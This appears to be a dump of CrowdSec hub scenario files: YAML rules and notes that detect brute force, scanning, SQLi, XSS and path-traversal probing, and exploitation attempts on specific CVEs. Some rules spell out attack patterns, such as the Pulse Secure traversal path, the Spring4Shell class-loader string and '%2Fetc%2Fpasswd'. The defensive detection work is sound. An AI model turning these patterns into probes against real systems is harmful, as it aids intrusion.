hub1/scenarios/crowdsecurity/http-magento-ccs-by-as.yaml000066400000000000000000000006051437532772500237030ustar00rootroot00000000000000type: leaky name: crowdsecurity/http-magento-ccs-by-as debug: false description: "Detect distributed credit card stuffing from same AS" filter: "evt.Meta.log_type == 'PAYMENT_FAILED' and evt.Meta.ASNNumber != '' " groupby: evt.Meta.ASNNumber distinct: evt.Meta.source_ip capacity: 10 leakspeed: 30s blackhole: 5m labels: service: http type: scan remediation: true application: magento hub1/scenarios/crowdsecurity/http-magento-ccs-by-country.md000066400000000000000000000002571437532772500244440ustar00rootroot00000000000000Detects distributed credit card stuffing by country on Magento website. More than 10 payments failed in the same country in less than 30secondes will trigger this scenario. hub1/scenarios/crowdsecurity/http-magento-ccs-by-country.yaml000066400000000000000000000006131437532772500250020ustar00rootroot00000000000000type: leaky name: crowdsecurity/http-magento-ccs-by-country debug: false description: "Detect distributed credit card stuffing from same country" filter: "evt.Meta.log_type == 'PAYMENT_FAILED' and evt.Meta.IsoCode != '' " groupby: evt.Meta.IsoCode distinct: evt.Meta.source_ip capacity: 10 leakspeed: 30s blackhole: 5m labels: service: http type: scan remediation: true application: magento hub1/scenarios/crowdsecurity/http-magento-ccs.md000066400000000000000000000002221437532772500223230ustar00rootroot00000000000000Detects credit card stuffing on Magento website. More than 3 payments failed from a same IP in less than 30 secondes will trigger this scenario. hub1/scenarios/crowdsecurity/http-magento-ccs.yaml000066400000000000000000000004731437532772500226750ustar00rootroot00000000000000type: leaky name: crowdsecurity/http-magento-ccs debug: false description: "Detect credit card stuffing from a single IP" filter: "evt.Meta.log_type == 'PAYMENT_FAILED'" groupby: evt.Meta.source_ip capacity: 3 leakspeed: 30s blackhole: 5m labels: service: http type: scan remediation: true application: magento hub1/scenarios/crowdsecurity/http-open-proxy.md000066400000000000000000000002631437532772500222500ustar00rootroot00000000000000Take a remediation against any IP making a `CONNECT` HTTP request which returns a 400 status code. This is a trigger bucket, so only one request is enough to trigger the scenario.hub1/scenarios/crowdsecurity/http-open-proxy.yaml000066400000000000000000000005501437532772500226110ustar00rootroot00000000000000type: trigger name: crowdsecurity/http-open-proxy description: "Detect scan for open proxy" #apache returns 405, nginx 400 filter: "evt.Meta.log_type == 'http_access-log' && evt.Meta.http_status in ['400','405'] && (evt.Parsed.verb == 'CONNECT' || evt.Parsed.request matches '^http[s]?://')" blackhole: 2m labels: service: http type: scan remediation: true hub1/scenarios/crowdsecurity/http-path-traversal-probing.md000066400000000000000000000006161437532772500245250ustar00rootroot00000000000000The http path traversal probing scenario aims at detecting, with very little false positive chances, path traversal probing attempts. Path traversal attempts will be detected with the presence of specific path manipulation patterns in the URI or the `GET` parameter such as `../` , `%2Fetc%2Fpasswd` ... :warning: This scenario is _not_ a WAF and this scenario does _not_ aims at replacing a WAF.hub1/scenarios/crowdsecurity/http-path-traversal-probing.yaml000066400000000000000000000011561437532772500250670ustar00rootroot00000000000000# path traversal probing type: leaky #debug: true name: crowdsecurity/http-path-traversal-probing description: "Detect path traversal attempt" filter: "evt.Meta.log_type in ['http_access-log', 'http_error-log'] && any(File('http_path_traversal.txt'),{evt.Meta.http_path contains #})" data: - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/path_traversal.txt dest_file: http_path_traversal.txt type: string groupby: "evt.Meta.source_ip" distinct: "evt.Meta.http_path" capacity: 3 reprocess: true leakspeed: 10s blackhole: 2m labels: service: http type: scan remediation: true hub1/scenarios/crowdsecurity/http-probing.md000066400000000000000000000002271437532772500215700ustar00rootroot00000000000000Take remediation against a single IP that requires multiple different (http path) pages that end up in 404/403/400. Leakspeed of 10s, capacity of 10. hub1/scenarios/crowdsecurity/http-probing.yaml000066400000000000000000000007201437532772500221300ustar00rootroot00000000000000# 404 scan type: leaky #debug: true name: crowdsecurity/http-probing description: "Detect site scanning/probing from a single ip" filter: "evt.Meta.service == 'http' && evt.Meta.http_status in ['404', '403', '400'] && evt.Parsed.static_ressource == 'false'" groupby: "evt.Meta.source_ip + '/' + evt.Parsed.target_fqdn" distinct: "evt.Meta.http_path" capacity: 10 reprocess: true leakspeed: "10s" blackhole: 5m labels: service: http type: scan remediation: true hub1/scenarios/crowdsecurity/http-sensitive-files.md000066400000000000000000000004231437532772500232370ustar00rootroot00000000000000# HTTP Sensitive files Detect tentative of dangerous file scanning such as logs file, database backup, zip archive etc ... ### Rule More than 3 access to sensitive files in [this list](https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/sensitive_data.txt)hub1/scenarios/crowdsecurity/http-sensitive-files.yaml000066400000000000000000000011671437532772500236070ustar00rootroot00000000000000type: leaky format: 2.0 #debug: true name: crowdsecurity/http-sensitive-files description: "Detect attempt to access to sensitive files (.log, .db ..) or folders (.git)" filter: 'evt.Meta.log_type in ["http_access-log", "http_error-log"] and any(File("sensitive_data.txt"), { evt.Parsed.request endsWith #})' groupby: "evt.Meta.source_ip" distinct: evt.Parsed.request data: - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/sensitive_data.txt dest_file: sensitive_data.txt type: string capacity: 4 leakspeed: 5s blackhole: 5m labels: service: http type: discovery remediation: true hub1/scenarios/crowdsecurity/http-sqli-probing.md000066400000000000000000000020171437532772500225350ustar00rootroot00000000000000The http sqli probing scenario aims at detecting, with very little false positive chances, SQL injection probing attempts. SQL injection probing attempts will be characterized by the presence of specific SQL-related patterns in uri/GET arguments (if and when this is where the injected parameter is), and this is what this scenario detects. The [word list](https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/sqli_probe_patterns.txt) is picked specifically to limit false positives. Furthermore, a `distinct` directive is present on the get parameters themselves to reduce false positive chances. You can test the behavior of the scenario by launching the excellent [sqlmap](https://sqlmap.org) on one of your pages. **WARNING** This scenario is _not_ a WAF, and this scenario does _not_ aims at replacing a WAF. A motivated attacker with knowledge of crowdsec will be able to bypass it. It is mostly meant to be a way to detect generic SQL injection probing such as performed by open-source or commercial scanners. hub1/scenarios/crowdsecurity/http-sqli-probing.yaml000066400000000000000000000015001437532772500230730ustar00rootroot00000000000000type: leaky #requires at least 2.0 because it's using the 'data' section and the 'Upper' expr helper format: 2.0 name: crowdsecurity/http-sqli-probbing-detection data: - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/sqli_probe_patterns.txt dest_file: sqli_probe_patterns.txt type: string description: "A scenario that detects SQL injection probing with minimal false positives" filter: "evt.Meta.log_type in ['http_access-log', 'http_error-log'] && any(File('sqli_probe_patterns.txt'), {Upper(evt.Parsed.http_args) contains Upper(#)})" groupby: evt.Meta.source_ip capacity: 10 leakspeed: 1s blackhole: 5m #low false positives approach : we require distinct payloads to avoid false positives distinct: evt.Parsed.http_args labels: service: http type: sqli_probing remediation: true hub1/scenarios/crowdsecurity/http-wordpress_user-enum.md000066400000000000000000000001411437532772500241530ustar00rootroot00000000000000Detects probing to enumerate wordpress authors : `/?author=XX` leakspeed of 10s, capacity of 5 hub1/scenarios/crowdsecurity/http-wordpress_user-enum.yaml000066400000000000000000000006111437532772500245170ustar00rootroot00000000000000type: leaky name: crowdsecurity/http-wordpress_user-enum description: "detect wordpress probing : authors enumeration" debug: false filter: "evt.Meta.log_type == 'http_access-log' && Upper(evt.Parsed.http_args) contains 'AUTHOR='" groupby: evt.Meta.source_ip distinct: evt.Parsed.http_args capacity: 5 leakspeed: "10s" blackhole: 5m labels: service: http type: bruteforce remediation: true hub1/scenarios/crowdsecurity/http-wordpress_wpconfig.md000066400000000000000000000001541437532772500240530ustar00rootroot00000000000000Detects probing to find alternate wp-config file, such as done by wpscan. leakspeed of 10s, capacity of 5 hub1/scenarios/crowdsecurity/http-wordpress_wpconfig.yaml000066400000000000000000000006351437532772500244210ustar00rootroot00000000000000type: leaky name: crowdsecurity/http-wordpress_wpconfig description: "detect wordpress probing : variations around wp-config.php by wpscan" debug: false filter: "evt.Meta.log_type == 'http_access-log' && evt.Parsed.file_name contains 'wp-config.php'" groupby: evt.Meta.source_ip distinct: evt.Parsed.file_name capacity: 5 leakspeed: "10s" blackhole: 5m labels: service: http type: bruteforce remediation: true hub1/scenarios/crowdsecurity/http-xss-probing.md000066400000000000000000000014761437532772500224120ustar00rootroot00000000000000The http XSS probing scenario aims at detecting, with very little false positive chances, XSS probing attempts. XSS probing attempts will be characterized by the presence of specific XSS related patterns in uri/GET arguments (if and when this is where the injected parameter is), and this is what this scenario detects. The [word list](https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/xss_probe_patterns.txt) is picked specifically to limit false positives. Furthermore, a `distinct` directive is present on the get parameters themselves to reduce false positive chances. **WARNING** This scenario is _not_ a WAF, and this scenario does _not_ aims at replacing a WAF. A motivated attacker with knowledge of crowdsec will be able to bypass it. It is mostly meant to be a way to detect generic XSS probing. hub1/scenarios/crowdsecurity/http-xss-probing.yaml000066400000000000000000000014461437532772500227510ustar00rootroot00000000000000type: leaky #requires at least 2.0 because it's using the 'data' section and the 'Upper' expr helper format: 2.0 name: crowdsecurity/http-xss-probbing data: - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/xss_probe_patterns.txt dest_file: xss_probe_patterns.txt type: string description: "A scenario that detects XSS probing with minimal false positives" filter: "evt.Meta.log_type in ['http_access-log', 'http_error-log'] && any(File('xss_probe_patterns.txt'), {Upper(evt.Parsed.http_args) contains Upper(#)})" groupby: evt.Meta.source_ip capacity: 5 leakspeed: 1s blackhole: 5m #low false positives approach : we require distinct payloads to avoid false positives distinct: evt.Parsed.http_args labels: service: http type: xss_probing remediation: true hub1/scenarios/crowdsecurity/iptables-scan-multi_ports.md000066400000000000000000000001741437532772500242600ustar00rootroot00000000000000Detects a port scan : detects if a single IP attempts connection to many different ports. Leakspeed of 5s, capacity of 15. hub1/scenarios/crowdsecurity/iptables-scan-multi_ports.yaml000066400000000000000000000005161437532772500246220ustar00rootroot00000000000000type: leaky name: crowdsecurity/iptables-scan-multi_ports description: "ban IPs that are scanning us" filter: "evt.Meta.log_type == 'iptables_drop' && evt.Meta.service == 'tcp'" groupby: evt.Meta.source_ip distinct: evt.Parsed.dst_port capacity: 15 leakspeed: 5s blackhole: 1m labels: service: tcp type: scan remediation: true hub1/scenarios/crowdsecurity/jira_cve-2021-26086.yaml000066400000000000000000000010721437532772500223430ustar00rootroot00000000000000type: trigger format: 2.0 #debug: true name: crowdsecurity/jira_cve-2021-26086 description: "Detect Atlassian Jira CVE-2021-26086 exploitation attemps" filter: | evt.Meta.log_type in ["http_access-log", "http_error-log"] and any(File("jira_cve_2021-26086.txt"), {Upper(evt.Meta.http_path) contains Upper(#)}) data: - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/jira_cve_2021-26086.txt dest_file: jira_cve_2021-26086.txt type: string groupby: "evt.Meta.source_ip" blackhole: 2m labels: type: exploit remediation: true hub1/scenarios/crowdsecurity/kasm-bruteforce.md000066400000000000000000000001041437532772500222360ustar00rootroot00000000000000Detect KASM login bruteforce 5 attempts with leakspeed of 10 secondshub1/scenarios/crowdsecurity/kasm-bruteforce.yaml000066400000000000000000000005371437532772500226120ustar00rootroot00000000000000type: leaky name: crowdsecurity/kasm-bruteforce description: "Detect kasm login bruteforce" filter: "evt.Meta.metric_name in ['account.login.failed_invalid_user', 'account.login.failed_invalid_password']" leakspeed: "10s" capacity: 3 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: kasm type: bruteforce remediation: truehub1/scenarios/crowdsecurity/litespeed-admin-bf.md000066400000000000000000000001441437532772500226020ustar00rootroot00000000000000Alert when a single IP that try to bruteforce litespeed admin UI. Leakspeed of 10s, capacity of 5. hub1/scenarios/crowdsecurity/litespeed-admin-bf.yaml000066400000000000000000000005031437532772500231430ustar00rootroot00000000000000type: leaky name: crowdsecurity/litespeed-admin-bf description: "Detect bruteforce against litespeed admin UI" filter: "evt.Meta.service == 'http' && evt.Meta.sub_type == 'litespeed_admin_auth_fail'" groupby: evt.Meta.source_ip capacity: 5 leakspeed: "10s" blackhole: 1m labels: service: http type: bf remediation: true hub1/scenarios/crowdsecurity/mariadb-bf.md000066400000000000000000000001201437532772500211270ustar00rootroot00000000000000Detect several failed mariadb authentications. leakspeed of 10s, capacity of 5 hub1/scenarios/crowdsecurity/mariadb-bf.yaml000066400000000000000000000004571437532772500215060ustar00rootroot00000000000000# mariadb bruteforce type: leaky #debug: true name: crowdsecurity/mariadb-bf description: "Detect mariadb bruteforce" filter: evt.Meta.log_type == 'mariadb_failed_auth' leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 5m labels: service: mariadb type: bruteforce remediation: true hub1/scenarios/crowdsecurity/modsecurity.md000066400000000000000000000001351437532772500215200ustar00rootroot00000000000000Take a remediation against an IP that trigger a modsecurity rule with a `CRITICAL` severity. hub1/scenarios/crowdsecurity/modsecurity.yaml000066400000000000000000000005741437532772500220710ustar00rootroot00000000000000type: trigger #debug: true name: crowdsecurity/modsecurity description: "Web exploitation via modsecurity" #modsec for nginx only logs the numerical value of the severity filter: evt.Meta.log_type == 'modsecurity' && (evt.Parsed.ruleseverity == 'CRITICAL' || evt.Parsed.ruleseverity == '2') blackhole: 2m labels: type: web_attack service: http remediation: true scope: ip hub1/scenarios/crowdsecurity/mssql-bf.yaml000066400000000000000000000004451437532772500212430ustar00rootroot00000000000000# mysql bruteforce type: leaky #debug: true name: crowdsecurity/mssql-bf description: "Detect mssql bruteforce" filter: evt.Meta.log_type == 'mssql_failed_auth' leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 5m labels: service: mssql type: bruteforce remediation: true hub1/scenarios/crowdsecurity/mysql-bf.md000066400000000000000000000001161437532772500207020ustar00rootroot00000000000000Detect several failed mysql authentications. leakspeed of 10s, capacity of 5 hub1/scenarios/crowdsecurity/mysql-bf.yaml000066400000000000000000000004451437532772500212510ustar00rootroot00000000000000# mysql bruteforce type: leaky #debug: true name: crowdsecurity/mysql-bf description: "Detect mysql bruteforce" filter: evt.Meta.log_type == 'mysql_failed_auth' leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 5m labels: service: mysql type: bruteforce remediation: true hub1/scenarios/crowdsecurity/naxsi-exploit-vpatch.md000066400000000000000000000001241437532772500232360ustar00rootroot00000000000000Detects naxsi blocked requests on custom (>9999) rules. Triggers on first request. hub1/scenarios/crowdsecurity/naxsi-exploit-vpatch.yaml000066400000000000000000000005451437532772500236070ustar00rootroot00000000000000# naxsi vpatch rules detection type: trigger name: crowdsecurity/naxsi-exploit-vpatch # id is bigger than 9k, custom rule description: "Detect custom blacklist triggered in naxsi" filter: "evt.Meta.log_type == 'waf_naxsi-log' && len(evt.Parsed.naxsi_id) > 4" groupby: "evt.Meta.source_ip" blackhole: 5m labels: service: http type: scan remediation: true hub1/scenarios/crowdsecurity/nextcloud-bf.md000066400000000000000000000003521437532772500215440ustar00rootroot00000000000000Detects bruteforce on [Nextcloud](https://nextcloud.com) instance. - leakspeed of 1m, capacity of 5 on same target user - leakspeed of 1m, capacity of 5 unique distinct users - leakspeed of 1m, capacity of 5 on trust domain error hub1/scenarios/crowdsecurity/nextcloud-bf.yaml000066400000000000000000000023021437532772500221030ustar00rootroot00000000000000--- type: leaky name: crowdsecurity/nextcloud-bf description: "Detect Nextcloud bruteforce" filter: "evt.Meta.log_type in ['nextcloud_failed_auth', 'nextcloud_bruteforce_attempt']" leakspeed: "1m" capacity: 5 # if we have bruteforce protection enabled in nextcloud, the same login attempt # can log # both login failure and bruteforce attempt at the same time, so # keep them in seperate buckets groupby: evt.Meta.source_ip + '--' + evt.Meta.log_type blackhole: 5m reprocess: true labels: service: nextcloud type: bruteforce remediation: true --- type: leaky name: crowdsecurity/nextcloud-bf_user_enum description: "Detect Nextcloud user enum bruteforce" filter: "evt.Meta.log_type == 'nextcloud_failed_auth'" leakspeed: "1m" capacity: 5 groupby: evt.Meta.source_ip distinct: evt.Meta.target_user blackhole: 5m reprocess: true labels: service: nextcloud type: bruteforce remediation: true --- type: leaky name: crowdsecurity/nextcloud-bf_domain_error description: "Detect Nextcloud domain error" filter: "evt.Meta.log_type == 'nextcloud_domain_error'" leakspeed: "1m" capacity: 5 groupby: evt.Meta.source_ip blackhole: 5m reprocess: true labels: service: nextcloud type: bruteforce remediation: true hub1/scenarios/crowdsecurity/nginx-req-limit-exceeded.md000066400000000000000000000002241437532772500237400ustar00rootroot00000000000000Detects IPs which violate nginx's user set request limit. IP is banned if it violates nginx's user set request limit more than 5 times in a minute.hub1/scenarios/crowdsecurity/nginx-req-limit-exceeded.yaml000066400000000000000000000005051437532772500243040ustar00rootroot00000000000000type: leaky #debug: true name: crowdsecurity/nginx-req-limit-exceeded description: "Detects IPs which violate nginx's user set request limit." filter: evt.Meta.sub_type == 'req_limit_exceeded' leakspeed: "60s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 5m labels: service: nginx type: bruteforce remediation: true hub1/scenarios/crowdsecurity/odoo-bf_user-enum.md000066400000000000000000000002311437532772500224730ustar00rootroot00000000000000Detect failed odoo authentications and user enum: - leakspeed of 10s, capacity of 5 from same IP - leakspeed of 10s, capacity of 5 on same target userhub1/scenarios/crowdsecurity/odoo-bf_user-enum.yaml000066400000000000000000000011641437532772500230430ustar00rootroot00000000000000# Odoo web auth bruteforce type: leaky #debug: true name: crowdsecurity/odoo-bf description: "Detect bruteforce on odoo web interface" filter: evt.Meta.log_type == 'odoo_failed_auth' leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 5m labels: service: odoo type: bruteforce remediation: true --- # Odoo web auth user_enum type: leaky name: crowdsecurity/odoo_user-enum description: "Detect odoo user enum" filter: evt.Meta.log_type == 'odoo_failed_auth' groupby: evt.Meta.source_ip distinct: evt.Meta.user leakspeed: 10s capacity: 5 blackhole: 1m labels: service: odoo type: bruteforce remediation: truehub1/scenarios/crowdsecurity/opnsense-gui-bf.md000066400000000000000000000002331437532772500221510ustar00rootroot00000000000000## OPNSense web portal bruteforce detection Detects bruteforce attempts on the OPNSense web portal : - more than 5 attempts - 10 seconds between each hub1/scenarios/crowdsecurity/opnsense-gui-bf.yaml000066400000000000000000000005371437532772500225220ustar00rootroot00000000000000# opnsense web auth bruteforce type: leaky #debug: true name: crowdsecurity/opnsense-web-bf description: "Detect bruteforce on opnsense web interface" filter: evt.Meta.log_type == 'opnsense-gui-failed-auth' leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 5m labels: service: opnsense-gui-auth type: bruteforce remediation: true hub1/scenarios/crowdsecurity/pgsql-bf.md000066400000000000000000000001231437532772500206610ustar00rootroot00000000000000Detect several failed postgresql authentications. leakspeed of 10s, capacity of 5 hub1/scenarios/crowdsecurity/pgsql-bf.yaml000066400000000000000000000004451437532772500212320ustar00rootroot00000000000000# pgsql bruteforce type: leaky #debug: true name: crowdsecurity/pgsql-bf description: "Detect PgSQL bruteforce" filter: evt.Meta.log_type == 'pgsql_failed_auth' leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 5m labels: service: pgsql type: bruteforce remediation: true hub1/scenarios/crowdsecurity/postfix-spam.md000066400000000000000000000003361437532772500216060ustar00rootroot00000000000000Contains multiple scenarios: - crowdsecurity/postfix-spam: postfix scenario bruteforce spam attempt (leakspeed of 10s with a capacity of 5) - crowdsecurity/postscreen-rbl: postscreen rb attempt blacklist (capacity of 0) hub1/scenarios/crowdsecurity/postfix-spam.yaml000066400000000000000000000014231437532772500221460ustar00rootroot00000000000000# postfix spam type: leaky name: crowdsecurity/postfix-spam description: "Detect spammers" filter: "evt.Meta.log_type_enh == 'spam-attempt' || evt.Meta.log_type == 'postfix' && evt.Meta.action == 'reject'" leakspeed: "10s" references: - https://en.wikipedia.org/wiki/Spamming capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: false labels: service: postfix type: bruteforce remediation: true --- # postfix spam type: trigger name: crowdsecurity/postscreen-rbl description: "Detect spammers" filter: "evt.Meta.service == 'postscreen' && evt.Meta.pregreet == 'PREGREET'" leakspeed: "10s" references: - https://en.wikipedia.org/wiki/Spamming groupby: evt.Meta.source_ip blackhole: 1m reprocess: false labels: service: postscreen type: bruteforce remediation: true hub1/scenarios/crowdsecurity/proftpd-bf.md000066400000000000000000000001371437532772500212160ustar00rootroot00000000000000Detect failed proftpd authentications : - leakspeed of 10s, capacity of 5 on same target userhub1/scenarios/crowdsecurity/proftpd-bf.yaml000066400000000000000000000004301437532772500215540ustar00rootroot00000000000000type: leaky name: crowdsecurity/proftpd-bf description: "Detect proftpd bruteforce" filter: "evt.Meta.log_type == 'ftp_failed_auth'" leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: ftp type: bruteforce remediation: true hub1/scenarios/crowdsecurity/proftpd-bf_user-enum.yaml000066400000000000000000000004651437532772500235640ustar00rootroot00000000000000type: leaky name: crowdsecurity/proftpd-bf_user-enum description: "Detect proftpd user enum bruteforce" filter: evt.Meta.log_type == 'ftp_failed_auth' groupby: evt.Meta.source_ip distinct: evt.Meta.target_user leakspeed: 10s capacity: 5 blackhole: 1m labels: service: ftp type: bruteforce remediation: truehub1/scenarios/crowdsecurity/proftpd-user-enum.md000066400000000000000000000001311437532772500225410ustar00rootroot00000000000000Detect failed user enumeration: - leakspeed of 10s, capacity of 5 unique distinct users hub1/scenarios/crowdsecurity/pulse-secure-sslvpn-cve-2019-11510.yaml000066400000000000000000000011541437532772500252650ustar00rootroot00000000000000type: trigger format: 2.0 name: crowdsecurity/pulse-secure-sslvpn-cve-2019-11510 description: "Detect cve-2019-11510 exploitation attemps" filter: | evt.Meta.log_type in ["http_access-log", "http_error-log"] and (Upper(evt.Meta.http_path) matches Upper('/dana-na/../dana/html5acc/guacamole/../../../../../../../[^?]+\\?/dana/html5acc/guacamole/') or Upper(evt.Meta.http_path) matches Upper('/dana-na/%2E%2E/dana/html5acc/guacamole/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/[^?]+\\?/dana/html5acc/guacamole/')) groupby: "evt.Meta.source_ip" blackhole: 2m labels: type: exploit remediation: true hub1/scenarios/crowdsecurity/smb-bf.md000066400000000000000000000000451437532772500203170ustar00rootroot00000000000000tracks failed samba authentications. hub1/scenarios/crowdsecurity/smb-bf.yaml000066400000000000000000000004151437532772500206620ustar00rootroot00000000000000# smb bruteforce type: leaky name: crowdsecurity/smb-bf description: "Detect smb bruteforce" filter: evt.Meta.log_type == 'smb_failed_auth' leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 5m labels: service: smb type: bruteforce remediation: truehub1/scenarios/crowdsecurity/spring4shell_cve-2022-22965.md000066400000000000000000000006421437532772500234770ustar00rootroot00000000000000Detect probing for cve-2022-22965 aka 'spring4shell'. As usual, smart attackers might bypass the signature. The pattern itself is inspired by : - [Spring Framework RCE (CVE-2022-22965) Nmap (NSE) Checker](https://github.com/alt3kx/CVE-2022-22965) - [Randori](https://twitter.com/RandoriAttack/status/1509298490106593283) - [Zap Detection](https://www.zaproxy.org/blog/2022-04-04-spring4shell-detection-with-zap/) hub1/scenarios/crowdsecurity/spring4shell_cve-2022-22965.yaml000066400000000000000000000005371437532772500240440ustar00rootroot00000000000000type: trigger format: 2.0 name: crowdsecurity/spring4shell_cve-2022-22965 description: "Detect cve-2022-22965 probing" filter: | evt.Meta.log_type in ["http_access-log", "http_error-log"] and (Upper(evt.Meta.http_path) contains 'CLASS.MODULE.CLASSLOADER.') groupby: "evt.Meta.source_ip" blackhole: 2m labels: type: exploit remediation: true hub1/scenarios/crowdsecurity/ssh-bf.md000066400000000000000000000002271437532772500203350ustar00rootroot00000000000000Detect failed ssh authentications : - leakspeed of 10s, capacity of 5 on same target user - leakspeed of 10s, capacity of 5 unique distinct users hub1/scenarios/crowdsecurity/ssh-bf.yaml000066400000000000000000000012261437532772500206770ustar00rootroot00000000000000# ssh bruteforce type: leaky name: crowdsecurity/ssh-bf description: "Detect ssh bruteforce" filter: "evt.Meta.log_type == 'ssh_failed-auth'" leakspeed: "10s" references: - http://wikipedia.com/ssh-bf-is-bad capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: ssh type: bruteforce remediation: true --- # ssh user-enum type: leaky name: crowdsecurity/ssh-bf_user-enum description: "Detect ssh user enum bruteforce" filter: evt.Meta.log_type == 'ssh_failed-auth' groupby: evt.Meta.source_ip distinct: evt.Meta.target_user leakspeed: 10s capacity: 5 blackhole: 1m labels: service: ssh type: bruteforce remediation: true hub1/scenarios/crowdsecurity/ssh-slow-bf.md000066400000000000000000000002421437532772500213140ustar00rootroot00000000000000Detect slow ssh bruteforce authentications : - leakspeed of 60s, capacity of 10 on same target user - leakspeed of 60s, capacity of 10 unique distinct users hub1/scenarios/crowdsecurity/ssh-slow-bf.yaml000066400000000000000000000012541437532772500216620ustar00rootroot00000000000000# ssh bruteforce type: leaky name: crowdsecurity/ssh-slow-bf description: "Detect slow ssh bruteforce" filter: "evt.Meta.log_type == 'ssh_failed-auth'" leakspeed: "60s" references: - http://wikipedia.com/ssh-bf-is-bad capacity: 10 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: ssh type: bruteforce remediation: true --- # ssh user-enum type: leaky name: crowdsecurity/ssh-slow-bf_user-enum description: "Detect slow ssh user enum bruteforce" filter: evt.Meta.log_type == 'ssh_failed-auth' groupby: evt.Meta.source_ip distinct: evt.Meta.target_user leakspeed: 60s capacity: 10 blackhole: 1m labels: service: ssh type: bruteforce remediation: true hub1/scenarios/crowdsecurity/suricata-alerts.md000066400000000000000000000003051437532772500222530ustar00rootroot00000000000000## Suricata scenarios Automatically react to high severity alerts generated by your Suricata : - trigger ban on *Major* (severity:1) rules - trigger ban on >2 **distinct** rules of severity 2 hub1/scenarios/crowdsecurity/suricata-alerts.yaml000066400000000000000000000017511437532772500226230ustar00rootroot00000000000000# for max (1) priority : kill on sight type: trigger name: crowdsecurity/suricata-major-severity description: "Detect exploit attempts via emerging threat rules" filter: "evt.Meta.log_type == 'suricata_alert' && evt.Parsed.proto == 'TCP' && evt.Meta.suricata_rule_severity == '1'" groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: suricata type: exploit remediation: true --- # for lower (2) priority : wait for >=3 different signatures being triggered # we intentionally avoid scenarios on priority 3 and such that are too sensitive to false positives type: leaky capacity: 2 leakspeed: 20s distinct: evt.Meta.suricata_alert_signature_id name: crowdsecurity/suricata-high-medium-severity description: "Detect exploit attempts via emerging threat rules" filter: "evt.Meta.log_type == 'suricata_alert' && evt.Parsed.proto == 'TCP' && evt.Meta.suricata_rule_severity == '2'" groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: suricata type: exploit hub1/scenarios/crowdsecurity/synology-dsm-bf.md000066400000000000000000000001241437532772500222000ustar00rootroot00000000000000## Detect Synology DSM bruteforce attack. ### Rule leakspeed of 10s, capacity of 5 hub1/scenarios/crowdsecurity/synology-dsm-bf.yaml000066400000000000000000000005371437532772500225520ustar00rootroot00000000000000# Synology DSM auth.log bruteforce type: leaky name: crowdsecurity/synology-dsm-bf description: "Detect Synology DSM web auth bruteforce" filter: "evt.Meta.log_type == 'synology-dsm_failed_auth'" leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: synology-dsm type: bruteforce remediation: true hub1/scenarios/crowdsecurity/teamspeak3-bf.md000066400000000000000000000001231437532772500215700ustar00rootroot00000000000000## Detect teamspeak3 bruteforce attack. ### Rule leakspeed of 10s, capacity of 2 hub1/scenarios/crowdsecurity/teamspeak3-bf.yaml000066400000000000000000000004271437532772500221410ustar00rootroot00000000000000type: leaky name: crowdsecurity/teamspeak3-bf description: "detect teamspeak3 server bruteforce" filter: evt.Meta.log_type == 'ts3_fail_auth' groupby: evt.Meta.source_ip capacity: 2 leakspeed: "10s" blackhole: 5m labels: service: teamspeak3 type: bruteforce remediation: true hub1/scenarios/crowdsecurity/telnet-bf.md000066400000000000000000000001151437532772500210270ustar00rootroot00000000000000## Detect Telnet bruteforce attack. ### Rule leakspeed of 10s, capacity of 5hub1/scenarios/crowdsecurity/telnet-bf.yaml000066400000000000000000000004101437532772500213670ustar00rootroot00000000000000type: leaky name: crowdsecurity/telnet-bf description: "detect telnet bruteforce" filter: evt.Meta.log_type == 'telnet_new_session' groupby: evt.Meta.source_ip capacity: 5 leakspeed: "10s" blackhole: 5m labels: service: telnet type: bruteforce remediation: truehub1/scenarios/crowdsecurity/thehive-bf.md000066400000000000000000000001271437532772500211730ustar00rootroot00000000000000Detect failed Thehive authentications: - leakspeed of 10s, capacity of 5 from same IPhub1/scenarios/crowdsecurity/thehive-bf.yaml000066400000000000000000000004521437532772500215360ustar00rootroot00000000000000type: leaky debug: false name: crowdsecurity/thehive-bf description: "Detect bruteforce on Thehive web interface" filter: evt.Meta.log_type == 'thehive_failed_auth' leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 5m labels: service: thehive type: bruteforce remediation: truehub1/scenarios/crowdsecurity/thinkphp-cve-2018-20062.yaml000066400000000000000000000011031437532772500231460ustar00rootroot00000000000000type: trigger format: 2.0 #debug: true name: crowdsecurity/thinkphp-cve-2018-20062 description: "Detect ThinkPHP CVE-2018-20062 exploitation attemps" filter: | evt.Meta.log_type in ["http_access-log", "http_error-log"] and any(File("thinkphp_cve_2018-20062.txt"), {Upper(evt.Meta.http_path) matches Upper(#)}) data: - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/thinkphp_cve_2018-20062.txt dest_file: thinkphp_cve_2018-20062.txt type: string groupby: "evt.Meta.source_ip" blackhole: 2m labels: type: exploit remediation: true 